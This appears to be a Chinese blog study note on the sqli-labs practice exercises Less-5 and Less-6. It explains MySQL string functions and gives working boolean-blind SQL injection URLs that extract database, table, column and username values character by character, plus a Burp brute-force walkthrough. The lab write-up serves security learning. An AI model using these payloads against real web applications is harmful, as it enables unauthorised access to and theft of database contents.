• sqli lab5-6


    1. left()函数:  left(database(),1)=‘s’        

                left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

    select left(database(),1)=‘s’;   前1位是否是s

    regexp函数:select user() regexp ‘r’            

        user()的结果是root,regexp为匹配root的正则表达式

     

     

    like函数: select user() like ‘ro%’                        匹配与regexp相似。

     

    substr(a,b,c)   select substr() XXXX               

           substr(a,b,c)从位置b开始,截取a字符串c位长度

     

    ascii()                     将某个字符串转化为ascii值 

     

      select ascii(substr((select database()),1,1));    直接回显115  或者是:

     select ascii(substr((select database()),1,1)) > 110;  如果大于110,就会返回1,否则返回0.

     

    6. chr(数字)   或者是ord(‘字母’)    使用python中的两个函数可以判断当前的ascii值是多少

    对于security数据库:

    Less-05

     

     

     

    猜列有3列

     

    猜数据库

    方法一

    http://192.168.50.254/sqli/Less-5/?id=1'and   left((select database()),1)='s '--+;

     

     

    burp抓包暴力破解

     

     

     

    输入之后,burp拿到包,我们把数据发送到爆破模块:

     然后在爆破模块,首先clear其他值,然后将a作为变量add一下

    选择类型为暴力破解,长度都是1:

     

    线程是50

     

     

    破解第二个字母

     

    • 或者是使用if来进行判断测试:
    •  http://127.0.0.1/sqli/Less-5/?id=1‘ and  ascii(substr((select database()),1,1))>156--+(此时是没有返回的) (这种方法是错误的)

    因为此时没有选择任何数据库  数据库为空 所以不管写多大数都会有回显信息

     

    http://192.168.50.100/sqli/Less-5/?id=1' and

     ascii(substr((select                           schema_name from information_schema.schemata limit 1,1),1,1)) >100 --+

     

    此处不回显 说明小于100

     

     

     

     

    一个一个的猜库

    猜第二个字母

     

     

     

    以此类推得到库名 challenge

    • 1. http://127.0.0.1/sqli/Less-5/?id=1’ and  ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 通过二分法猜解得到所有的库,红色为可变参数。
    • 2. http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+  再次通过二分法可猜解得到security下的所有表。其中,红色为可变参数。
    • 3. http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 --+  通过二分法可猜解users内的字段,其中红色为可变参数。
    • 4. http://127.0.0.1/sqli/Less-5/?id=1’  and ascii(substr((select username from security.users limit 1,1),1,1))>1--+继续猜解即可得到字段内的值。

    Less-6

     

    加了单引号没有什么不同

     

    加了双引号则报错

     

    说明是布尔盲注

    然后再爆列

    3回显 4报错 说明有三列

     

     

    • 完整注入流程:
    • 1. http://127.0.0.1/sqli/Less-5/?id=1” and  ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 通过二分法猜解得到所有的库,红色为可变参数。
    • 2. http://127.0.0.1/sqli/Less-5/?id=1”and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+  再次通过二分法可猜解得到security下的所有表。其中,红色为可变参数。
    • 3. http://127.0.0.1/sqli/Less-5/?id=1” and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 --+  通过二分法可猜解users内的字段,其中红色为可变参数。
    • 4. http://127.0.0.1/sqli/Less-5/?id=1”and ascii(substr((select username from security.users limit 1,1),1,1))>1--+继续猜解即可得到字段内的值。
  • 相关阅读:
    每天一个linux命令---mount
    java反射机制
    每天一个linux命令---netstat
    oracle调试存储过程
    ora-14400插入的分区关键字未映射到任何分区---oracle数据库表过期问题
    Java类加载
    nginx学习笔记
    web工程spring+ibatis单元测试
    每天一个Linux命令---tcpdump
    每天一个linux命令---导出到文件
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12227358.html
Copyright © 2020-2023  润新知